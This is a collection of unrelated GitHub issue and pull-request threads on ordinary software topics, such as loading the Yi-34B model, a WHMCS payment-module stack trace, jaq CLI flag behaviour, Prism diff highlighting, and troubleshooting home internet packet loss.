text:
CPU只用一个核心，剩下都空闲

from transformers import AutoModelForCausalLM, AutoTokenizer

model_path = '01-ai/Yi-34b-Chat-4bits'

tokenizer = AutoTokenizer.from_pretrained(model_path, use_fast=False)

# Since transformers 4.35.0, the GPT-Q/AWQ model can be loaded using AutoModelForCausalLM.
model = AutoModelForCausalLM.from_pretrained(
    model_path,
    device_map="auto",
    torch_dtype='auto'
).eval()

# Prompt content: "hi"
messages = [
    {"role": "user", "content": "hi"}
]

input_ids = tokenizer.apply_chat_template(conversation=messages, tokenize=True, add_generation_prompt=True, return_tensors='pt')
output_ids = model.generate(input_ids.to('cuda'))
response = tokenizer.decode(output_ids[0][input_ids.shape[1]:], skip_special_tokens=True)

# Model response: "Hello! How can I assist you today?"
print(response)

要加载好久

这个只是示例代码，实际部署推理服务请参考其它主流框架。

source: gharchive/issue

authors: Hizkai findmyway

license_type: permissive

license_source: github-api


text:
Mollie whmcs module error cronjob

Hallo,
Ik krijg de volgende error als ik jullie module gebruik (ik heb hem ook opnieuw geinstalleerd maar helaas geen geluk)
Whmcs versie 7.10.2

WHMCS Updates
 29/31 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░]  93% 15 mins/16 mins 54.5 MiB[WHMCS Application] ERROR: TypeError: Argument 1 passed to GuzzleHttp\Ring\Client\StreamHandler::__invoke() must be of the type array, object given, called in /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php on line 277 and defined in /var/www/html/vendor/guzzlehttp/ringphp/src/Client/StreamHandler.php:26 Stack trace: #0 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(277): GuzzleHttp\Ring\Client\StreamHandler->__invoke(Object(GuzzleHttp\Psr7\Request), Array) #1 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(125): GuzzleHttp\Client->transfer(Object(GuzzleHttp\Psr7\Request), Array) #2 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(131): GuzzleHttp\Client->requestAsync('get', Object(GuzzleHttp\Psr7\Uri), Array) #3 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(89): GuzzleHttp\Client->request('get', 'https://pki.whm...', Array) #4 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): GuzzleHttp\Client->__call('get', Array) #5 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getUrl('https://pki.whm...') #6 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getPathFromKeyserver('certs.json') #7 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getCertMetadata() #8 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->reloadCrls() #9 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getCrlForCertificate(Object(WHMCS\Installer\Composer\Certificate)) #10 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->validateCertificateNotRevoked(Object(WHMCS\Installer\Composer\Certificate)) #11 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getTrustedCertificate('515FCBEB9958DA4...', 2) #12 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->validateCertificateSignatureIsTrusted(Object(WHMCS\Installer\Composer\Certificate)) #13 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getTrustedCertificate('0C12A820D7DD9ED...', 1) #14 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/PackagesFile.php(0): WHMCS\Installer\Composer\CertificateManager->getValidCodeSigningCertificateContent('0C12A820D7DD9ED...') #15 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/WhmcsRepository.php(0): WHMCS\Installer\Composer\PackagesFile->validateNotificationSignatures(Array) #16 /var/www/html/vendor/composer/composer/src/Composer/Repository/ComposerRepository.php(462): WHMCS\Installer\Composer\WhmcsRepository->fetchFile('https://release...', 'UpdatePackagesD...') #17 /var/www/html/vendor/composer/composer/src/Composer/Repository/ComposerRepository.php(256): Composer\Repository\ComposerRepository->loadRootServerFile() #18 /var/www/html/vendor/composer/composer/src/Composer/DependencyResolver/Pool.php(99): Composer\Repository\ComposerRepository->hasProviders() #19 /var/www/html/vendor/composer/composer/src/Composer/Installer.php(402): Composer\DependencyResolver\Pool->addRepository(Object(WHMCS\Installer\Composer\WhmcsRepository), Array) #20 /var/www/html/vendor/composer/composer/src/Composer/Installer.php(228): Composer\Installer->doInstall(Object(Composer\Repository\InstalledArrayRepository), Object(Composer\Repository\CompositeRepository), Object(Composer\Repository\PlatformRepository), Array, false) #21 /var/www/html/vendor/composer/composer/src/Composer/Command/UpdateCommand.php(173): Composer\Installer->run() #22 /var/www/html/vendor/symfony/console/Command/Command.php(259): Composer\Command\UpdateCommand->execute(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #23 /var/www/html/vendor/symfony/console/Application.php(844): Symfony\Component\Console\Command\Command->run(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #24 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/WhmcsComposerApplication.php(0): Symfony\Component\Console\Application->doRunCommand(Object(Composer\Command\UpdateCommand), Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #25 /var/www/html/vendor/symfony/console/Application.php(192): WHMCS\Installer\Composer\WhmcsComposerApplication->doRunCommand(Object(Composer\Command\UpdateCommand), Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #26 /var/www/html/vendor/composer/composer/src/Composer/Console/Application.php(189): Symfony\Component\Console\Application->doRun(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #27 /var/www/html/vendor/symfony/console/Application.php(123): Composer\Console\Application->doRun(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #28 /var/www/html/vendor/composer/composer/src/Composer/Console/Application.php(99): Symfony\Component\Console\Application->run(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #29 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerWrapper.php(0): Composer\Console\Application->run(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper)) #30 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerWrapper.php(0): WHMCS\Installer\Composer\ComposerWrapper->update() #31 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerUpdate.php(0): WHMCS\Installer\Composer\ComposerWrapper->getLatestVersion() #32 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerUpdate.php(0): WHMCS\Installer\Composer\ComposerUpdate->WHMCS\Installer\Composer\{closure}() #33 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerUpdate.php(0): WHMCS\Installer\Composer\ComposerUpdate->doComposerCommand(Object(Closure)) #34 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Update/Updater.php(0): WHMCS\Installer\Composer\ComposerUpdate->getLatestVersion(true) #35 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Cron/Task/CheckForWhmcsUpdate.php(0): WHMCS\Installer\Update\Updater->fetchComposerLatestVersion() #36 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Scheduling/Task/AbstractTask.php(0): WHMCS\Cron\Task\CheckForWhmcsUpdate->__invoke() #37 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Scheduling/Task/AbstractTask.php(0): WHMCS\Scheduling\Task\AbstractTask->execute() #38 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Cron/Console/Command/AbstractCronCommand.php(0): WHMCS\Scheduling\Task\AbstractTask->run() #39 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Cron/Console/Command/AbstractCronCommand.php(0): WHMCS\Cron\Console\Command\AbstractCronCommand->executeCollection(Object(WHMCS\Scheduling\Task\Collection)) #40 /var/www/html/vendor/symfony/console/Command/Command.php(259): WHMCS\Cron\Console\Command\AbstractCronCommand->execute(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput)) #41 /var/www/html/vendor/symfony/console/Application.php(844): Symfony\Component\Console\Command\Command->run(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput)) #42 /var/www/html/vendor/symfony/console/Application.php(192): Symfony\Component\Console\Application->doRunCommand(Object(WHMCS\Cron\Console\Command\AllCommand), Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput)) #43 /var/www/html/vendor/symfony/console/Application.php(123): Symfony\Component\Console\Application->doRun(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput)) #44 /var/www/whmcsdata/crons/cron.php(0): Symfony\Component\Console\Application->run(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput)) #45 {main} {"exception":"[object] (TypeError(code: 0): Argument 1 passed to GuzzleHttp\\Ring\\Client\\StreamHandler::__invoke() must be of the type array, object given, called in /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php on line 277 at /var/www/html/vendor/guzzlehttp/ringphp/src/Client/StreamHandler.php:26)"} []
TypeError: Argument 1 passed to GuzzleHttp\Ring\Client\StreamHandler::__invoke() must be of the type array, object given, called in /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php on line 277 in /var/www/html/vendor/guzzlehttp/ringphp/src/Client/StreamHandler.php:26

#0 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(277): GuzzleHttp\Ring\Client\StreamHandler->__invoke(Object(GuzzleHttp\Psr7\Request), Array)
#1 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(125): GuzzleHttp\Client->transfer(Object(GuzzleHttp\Psr7\Request), Array)
#2 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(131): GuzzleHttp\Client->requestAsync('get', Object(GuzzleHttp\Psr7\Uri), Array)
#3 /var/www/html/modules/gateways/mollie/vendor/guzzlehttp/guzzle/src/Client.php(89): GuzzleHttp\Client->request('get', 'https://pki.whm...', Array)
#4 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): GuzzleHttp\Client->__call('get', Array)
#5 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getUrl('https://pki.whm...')
#6 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getPathFromKeyserver('certs.json')
#7 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getCertMetadata()
#8 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->reloadCrls()
#9 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getCrlForCertificate(Object(WHMCS\Installer\Composer\Certificate))
#10 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->validateCertificateNotRevoked(Object(WHMCS\Installer\Composer\Certificate))
#11 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getTrustedCertificate('515FCBEB9958DA4...', 2)
#12 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->validateCertificateSignatureIsTrusted(Object(WHMCS\Installer\Composer\Certificate))
#13 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/CertificateManager.php(0): WHMCS\Installer\Composer\CertificateManager->getTrustedCertificate('0C12A820D7DD9ED...', 1)
#14 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/PackagesFile.php(0): WHMCS\Installer\Composer\CertificateManager->getValidCodeSigningCertificateContent('0C12A820D7DD9ED...')
#15 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/WhmcsRepository.php(0): WHMCS\Installer\Composer\PackagesFile->validateNotificationSignatures(Array)
#16 /var/www/html/vendor/composer/composer/src/Composer/Repository/ComposerRepository.php(462): WHMCS\Installer\Composer\WhmcsRepository->fetchFile('https://release...', 'UpdatePackagesD...')
#17 /var/www/html/vendor/composer/composer/src/Composer/Repository/ComposerRepository.php(256): Composer\Repository\ComposerRepository->loadRootServerFile()
#18 /var/www/html/vendor/composer/composer/src/Composer/DependencyResolver/Pool.php(99): Composer\Repository\ComposerRepository->hasProviders()
#19 /var/www/html/vendor/composer/composer/src/Composer/Installer.php(402): Composer\DependencyResolver\Pool->addRepository(Object(WHMCS\Installer\Composer\WhmcsRepository), Array)
#20 /var/www/html/vendor/composer/composer/src/Composer/Installer.php(228): Composer\Installer->doInstall(Object(Composer\Repository\InstalledArrayRepository), Object(Composer\Repository\CompositeRepository), Object(Composer\Repository\PlatformRepository), Array, false)
#21 /var/www/html/vendor/composer/composer/src/Composer/Command/UpdateCommand.php(173): Composer\Installer->run()
#22 /var/www/html/vendor/symfony/console/Command/Command.php(259): Composer\Command\UpdateCommand->execute(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#23 /var/www/html/vendor/symfony/console/Application.php(844): Symfony\Component\Console\Command\Command->run(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#24 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/WhmcsComposerApplication.php(0): Symfony\Component\Console\Application->doRunCommand(Object(Composer\Command\UpdateCommand), Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#25 /var/www/html/vendor/symfony/console/Application.php(192): WHMCS\Installer\Composer\WhmcsComposerApplication->doRunCommand(Object(Composer\Command\UpdateCommand), Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#26 /var/www/html/vendor/composer/composer/src/Composer/Console/Application.php(189): Symfony\Component\Console\Application->doRun(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#27 /var/www/html/vendor/symfony/console/Application.php(123): Composer\Console\Application->doRun(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#28 /var/www/html/vendor/composer/composer/src/Composer/Console/Application.php(99): Symfony\Component\Console\Application->run(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#29 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerWrapper.php(0): Composer\Console\Application->run(Object(Symfony\Component\Console\Input\ArrayInput), Object(WHMCS\Installer\Composer\MonologBufferedOutputWrapper))
#30 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerWrapper.php(0): WHMCS\Installer\Composer\ComposerWrapper->update()
#31 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerUpdate.php(0): WHMCS\Installer\Composer\ComposerWrapper->getLatestVersion()
#32 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerUpdate.php(0): WHMCS\Installer\Composer\ComposerUpdate->WHMCS\Installer\Composer\{closure}()
#33 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Composer/ComposerUpdate.php(0): WHMCS\Installer\Composer\ComposerUpdate->doComposerCommand(Object(Closure))
#34 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Installer/Update/Updater.php(0): WHMCS\Installer\Composer\ComposerUpdate->getLatestVersion(true)
#35 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Cron/Task/CheckForWhmcsUpdate.php(0): WHMCS\Installer\Update\Updater->fetchComposerLatestVersion()
#36 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Scheduling/Task/AbstractTask.php(0): WHMCS\Cron\Task\CheckForWhmcsUpdate->__invoke()
#37 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Scheduling/Task/AbstractTask.php(0): WHMCS\Scheduling\Task\AbstractTask->execute()
#38 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Cron/Console/Command/AbstractCronCommand.php(0): WHMCS\Scheduling\Task\AbstractTask->run()
#39 /var/www/html/vendor/whmcs/whmcs-foundation/lib/Cron/Console/Command/AbstractCronCommand.php(0): WHMCS\Cron\Console\Command\AbstractCronCommand->executeCollection(Object(WHMCS\Scheduling\Task\Collection))
#40 /var/www/html/vendor/symfony/console/Command/Command.php(259): WHMCS\Cron\Console\Command\AbstractCronCommand->execute(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#41 /var/www/html/vendor/symfony/console/Application.php(844): Symfony\Component\Console\Command\Command->run(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#42 /var/www/html/vendor/symfony/console/Application.php(192): Symfony\Component\Console\Application->doRunCommand(Object(WHMCS\Cron\Console\Command\AllCommand), Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#43 /var/www/html/vendor/symfony/console/Application.php(123): Symfony\Component\Console\Application->doRun(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#44 /var/www/whmcsdata/crons/cron.php(0): Symfony\Component\Console\Application->run(Object(WHMCS\Cron\Console\Input\CliInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#45 {main}root@website:/var/www/html/modules/gateways#

Groetjes,

ik heb een oplossing gevonden.

ik heb een oplossing gevonden.

license: MIT


text:
🛑 Jellyfin is down

In 0ed3ac1, Jellyfin (https://jellyfin.0121.org) was down:

HTTP code: 502
Response time: 431 ms

Resolved: Jellyfin is back up in f267caf after 5 minutes.


text:
Fix --join-output (-j) to output raw strings

This PR fixes --join-output (-j) option to behave more compatible with jq, to emit strings in raw mode.
 $ jq -n -j 'null,true,"hello, world",42,[]'
nulltruehello, world42[]

 $ jaq -n -j 'null,true,"hello, world",42,[]'
nulltrue"hello, world"42[]

I have thought about this a bit. What are the pros and cons of this change?
Pros:

Increased compatibility with jq

Cons:

Less flexible than current solution: jaq can currently simulate jq's -j flag with -jr, but jq cannot simulate jaq's -j flag.
More complicated code: Not much, but still.
More complex documentation: Currently, jaq's documentation of -j is simply: "Do not print a newline after each value". Adding something like "... and write strings without escaping them with quotes" more than doubles the length of the documentation.

I suppose that a user who knows jq well enough to know about -j will probably also know it well enough to see quite quickly what to do when jaq does not escape strings, namely just add -r. Therefore, I believe it would be a better solution to keep jaq's current behaviour, but to document the difference in the Cli. What do you think?

I'm fine with the position of jaq that it is a enhanced and well-behaved successor, not a drop-in replacement of jq.

@itchyny, I'm happy to hear that. So I documented the behaviour of -j in 561aab9.

source: gharchive/pull-request


text:
Inconsistent naming found in SLAM: attribute FrameInfo frameData

When I was learning how to use FrameDataAssember class, I found this:
interface TrackingResult {
  readonly attribute TrackingAccuracy accuracy;
  readonly attribute float[] cameraPose;
  readonly attribute FrameInfo frameData;
};

DonnaWuDongxia:
The type if FrameInfo and the attribute name is frameData. What's your concern? Do you advising to change frameData to frameInfo?

Invalid, the type has been changed to FrameData. @kenny-y @haoyunfeix

authors: DonnaWuDongxia haoyunfeix


text:
🛑 Library is down

In d0662e6, Library (https://library.unej.ac.id) was down:

HTTP code: 502
Response time: 1220 ms

Resolved: Library is back up in 58d568a after 43 minutes.


text:
Support for other app schema?

Hi, thank you for this great looking plugin!
We have all our devices connected via the "Gosund" app, rather than Smart Life or Tuya Smart and wondered if we can connect this app up somehow? I can't seem to find the appSchema for the Godsund app anywhere (tried just gosund and the app id, but got errors back) - is there somewhere specific to find this? Ideally we wouldn't need to reconnect all the devices to a different app if possible 😄
Thank you.

I'm not sure if other oem tuya app account can link to the cloud projects, have you tried on tuya platform? If the link step not working then the appSchema is not useful.
appSchema I think there's two ways of get it:

It is a prefix to open the app, for example you open tuyaSmart://xxxxxx in the mobile web browser, the Tuya App will be opened. So If you can managed to get the App's package whatever iOS or Android, it can be get from package.
If you have the app download page made by tuya, the url https://developerapp.tuyacn.com/download/test/xxx like this, then xxx is the appSchema you need.

And personally suggest, the TuyaSmart App or SmartLife App is always the newest and have the latest and full features vs Tuya OEM Apps. OEM Apps is meaningful for manufactors to build their brand, but for users I will suggest using TuyaSmart/SmartLife instead :)

Thank you! We'll look to move over to the Tuya Smart app in that case I think - as we were only on Gosund as some of the first devices we purchased were from that brand, without knowing about Tuya.
I managed to add an OEM app to the developer console, so that seems to work, but having found the scheme via your message (fyi it seems to be gosundsmart which opens the app if downloaded) it sadly doesn't seem to be accepted by the API, so back to the drawing board.

You are not the owner of gosundsmart so I guess you are not able to use it in you project.

I do have this inside of my devices (alongside Tuya Smart) but agree that due to not owning the app it likely won't accept it. I'll begin a transfer over to Tuya Smart I think. Thank you for your help!
image


text:
Add FR localization

@perez987 and @0xCUB3 here is my addition of FR localization and its scheme based on perez' work.
Thanks all!

We would merge only this one and not @perez987's since this contains all his commits.

Merged @perez987 @0xCUB3

Ok @MDNich good job. I like to see the app localized to 4 languages


text:
MapView

Example Use:
MapView(lat:, long:) {
    [
    // Points on the map
    ]
}
.zoom(// ...)
.move(// ...)

Let me know what you think about #132


text:
discuss: ASM as a subset of an existing language

between #801 and #299, have we considered using a subset of an existing language our ASM code in?

~C~ (I think we need something with tuples in its type system)
Rust
Typescript
Forth
Python

Here's a sketch of what this could look like:
use std::{iter, ops::Add};

use tuplez::{ops::Poppable, Tuple}; // 0.14.15

pub trait Load {
    fn load(it: impl Iterator<Item = u8>) -> Self;
}
pub trait Store {
    fn store(&self) -> impl Iterator<Item = u8> + '_;
}
impl Load for u8 {
    fn load(mut it: impl Iterator<Item = u8>) -> Self {
        it.next().unwrap()
    }
}
impl Store for u8 {
    fn store(&self) -> impl Iterator<Item = u8> + '_ {
        iter::once(*self)
    }
}

fn pop<T: Poppable>(t: T) -> (T::PopFrontOutput, T::PopFrontElement) {
    tuplez::TupleLike::pop_front(t)
}

#[derive(Clone)]
pub struct Pointer(usize);
pub struct Memory(Vec<u8>);

pub fn mload_general<Stack0, Stack1, T>(memory: &Memory, stack0: Stack0) -> Tuple<T, Stack1>
where
    Stack0: Poppable<PopFrontElement = Pointer, PopFrontOutput = Stack1>,
    T: Load,
{
    let (stack1, Pointer(ix)) = pop(stack0);
    let t = T::load(memory.0[ix..].iter().copied());
    push(stack1, t)
}

pub fn mstore_general<Stack0, Stack1, Stack2, T>(memory: &mut Memory, stack0: Stack0) -> Stack2
where
    Stack0: Poppable<PopFrontElement = T, PopFrontOutput = Stack1>,
    Stack1: Poppable<PopFrontElement = Pointer, PopFrontOutput = Stack2>,
    T: Store,
{
    let (stack1, t) = pop(stack0);
    let (stack2, Pointer(ix)) = pop(stack1);
    let storeme = t.store().collect::<Vec<_>>();
    memory.0.splice(ix..(ix + storeme.len()), storeme);
    stack2
}

pub fn add<Stack0, Stack1, Stack2, LeftT, RightT, ResultT>(stack0: Stack0) -> Tuple<ResultT, Stack2>
where
    Stack0: Poppable<PopFrontElement = RightT, PopFrontOutput = Stack1>,
    Stack1: Poppable<PopFrontElement = LeftT, PopFrontOutput = Stack2>,
    LeftT: Add<RightT, Output = ResultT>,
{
    let (stack1, right) = pop(stack0);
    let (stack2, left) = pop(stack1);
    let add = left + right;
    push(stack2, add)
}

pub fn push<Stack0, T>(stack0: Stack0, t: T) -> Tuple<T, Stack0> {
    Tuple(t, stack0)
}

pub fn increment_mem<Stack0>(memory: &mut Memory, address: Pointer, stack0: Stack0) -> Stack0
where
    Stack0: Poppable, // this shouldn't be needed
{
    let stack1 = push(stack0, address.clone()); // dest
    let stack2 = push(stack1, address); // src
    let stack3 = mload_general::<_, _, u8>(memory, stack2);
    let stack4 = push(stack3, 1u8);
    let stack5 = add(stack4);
    mstore_general(memory, stack5)
}

#[test]
fn test() {
    let stack = tuplez::Unit;
    let mut memory = Memory(vec![42]);
    let stack = push(stack, ()); // this shouldn't be needed
    let stack = increment_mem(&mut memory, Pointer(0), stack);
    let Tuple((), tuplez::Unit) = stack;
    assert_eq!(memory.0, [43]);
}

And the idea would be to compile the .asm files in something like the body of test?


text:
Cannot mix diff and diff-lang in one app

We ran into a problem where we couldn't get nice diff rendering for e.g. diff-js or any other language (see mainmatter/mainmatter.com#1955). 11ty would always only render a green/red diff but not apply any highlighting specific to the language.
After some debugging I realized the root cause is this:
https://github.com/11ty/eleventy-plugin-syntaxhighlight/blob/ac92151c42996faef19650f34f54a77e4ac210f2/src/PrismLoader.js#L30-L34
If the diff language is already present, the diff-highlight plugin isn't loaded. That means that if you have a codeblock
 ```diff
 + new line
 `` (GitHub doesn't render this properly with 3 `)

and then later another one
 ```diff-js
 + let val = 0:
 `` (GitHub doesn't render this properly with 3 `)

the second one doesn't get highlighted correctly as the diff-highlight plugin isn't loaded and thus cannot register its hooks which it needs to apply the language-specific highlighting on top of the diff highlighting (see https://github.com/PrismJS/prism/blob/master/plugins/diff-highlight/prism-diff-highlight.js#L34).
So instead of checking for the presence of the diff language, I think you want to specifically check for whether the diff-highlight plugin has been loaded or not.
A workaround of course is to never use  ```diff and always use  ```diff-js etc.

Shipping with v5.0.0

authors: marcoow zachleat


text:
Possible Google Sheets integration

Sheets API: https://developers.google.com/sheets/api
The idea would be that each time someone updates the match reporting spreadsheet, a message is sent in a private text channel so that Tatsu can be alerted/pinged each time a new row is added.
Not a huge priority, but it'd be cool to test this out over the summer.

Handy to find google sheet id

authors: fabform veekerz


text:
create a default value for the layers

Assuming that some people don't want to answer the questionnaire, we should create a default layer_io template to feed the algorithm.
It's currently build here using random values and used here to update the data-table

instead of default we'll add the possibility to load a saved recipe


text:
Home Internet by Comcast (Netgear as a BB router) unbearably choppy

Moved from https://github.com/130s/30y-130s_life/issues/43 for the only info that can be publicized.
Issue recap
The last couple of weeks I've been experiencing choppy Internet connection:

ping google.com drops 10 to 40% packets, almost every few hours.
Rebooting broadband router seems to fix temporarily.
ping to other local hosts is very good, mostly 100%.

Attempted but didn't work

Using google's DNS instead of the cable company's.
Removing extra Powerline (i.e. there's still one Powerline network).

Is it possible that DoS attack affects our Internet connection? Looking at the log from out BB router, I just found a few possible correlations b/w DoS (at this moment this is only an assumption):

DoS occurred
Action taken

Tue Dec 05 12:54:57 2017
12:54? (Router reboot

Tue Dec 05 15:50:32 2017
16:10? (DHCP renewal

Tue Dec 05 16:20:50 2017
16:29  (DHCP renewal

16:36  (Router reboot

DHCP renewal doesn't seem to be as effective as someone in this thread said. In the same thread multiple persons says, surprisingly, that disabling DoS protection feature seems to work.
Scared, I'll disable it and see how it goes.

DHCP renewal doesn't seem to be as effective as someone in this thread said. In the same thread multiple persons says, surprisingly, that disabling DoS protection feature seems to work.
Scared, I'll disable it and see how it goes.

Doesn't seem to work. I've still lost 20 - 40% packets over the last few hours. No DoS attack was recorded during then in the log page though, which may only be because the protection was disabled.
I enabled it back again. Now I'm almost at a loss. One last hope is the firmware update https://github.com/130s/30y-130s_life/issues/294

Yesterday 3 or 4 times of bb router were needed to avoid 20 to 50% packet loss.

Yesterday 3 or 4 times of bb router were needed to avoid packet loss.

Yesterday 3 or 4 times of bb router were needed to avoid packet loss.
Today I switched DNS to 8.8.8.8 and 8.8.4.4.

Still had to reboot once although otherwise it's been better I feel.

The last one week (after coming back to town) it's been ok (i.e. packet loss < 2%). So closing for now.

Had to reboot bb router 3 or 4 times in a few hours where ping lost 50% packets since Feb 7th 1am.

Had to reboot bb router twice in the last 1.5 hours where ping lost 30 - 50% packets.

Had to reboot bb router twice 3 or 4 times only in the morning.

Our current Internet plan with Comcast:

Plan is called something like HSD 55, with which the speed is up to 55 Mbps. I'd say sub par for home office.
there's a upper limit of data amount 1TB, which looks like we've never exceeded.

I talked over the phone and asked questions tech support (who was really professional as opposed to my expectation):

Q. Internet service has been intermittent. Any solution on Comcast's end?
A. Looks like no on their end. By restarting the modem and the connection was successfully re-established (at that time I was by conincidence having no connection). Contact the manufacturer of the router.

Restarting solves an issue sounds to them that there's an issue with the equipment i.e. router.
Also asked if they provide rental router but they don't. The manufacturer might.

